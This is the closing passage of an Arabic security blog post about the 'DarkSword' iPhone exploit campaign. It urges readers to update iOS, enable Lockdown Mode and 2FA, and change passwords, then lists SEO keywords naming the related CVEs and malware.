نصيحتي الأخيرة: حدث جهازك هسا. مش بكرا، مش الأسبوع الجاي. هسا. وفعّل Lockdown Mode إذا بتشتغل بمجال حساس. وغيّر كلمات سرك. وفعّل 2FA على كل حساباتك.
وإذا بدك تتابع آخر الأخبار الأمنية وتحليلات الثغرات، تابعونا على قناة Telegram و قناة YouTube.
السلام عليكم ورحمة الله.
DarkSword، ثغرة DarkSword، استغلال iOS 2026، ثغرات iPhone، CVE-2025-31277، CVE-2025-43529، CVE-2026-20700، GHOSTKNIFE، GHOSTBLADE، GHOSTSABER، اختراق iPhone بدون نقرة، zero-click exploit iOS، حماية iPhone من الاختراق، تحديث iOS 26، Lockdown Mode، ثغرات Safari، JavaScriptCore exploit، XNU kernel exploit، watering hole attack

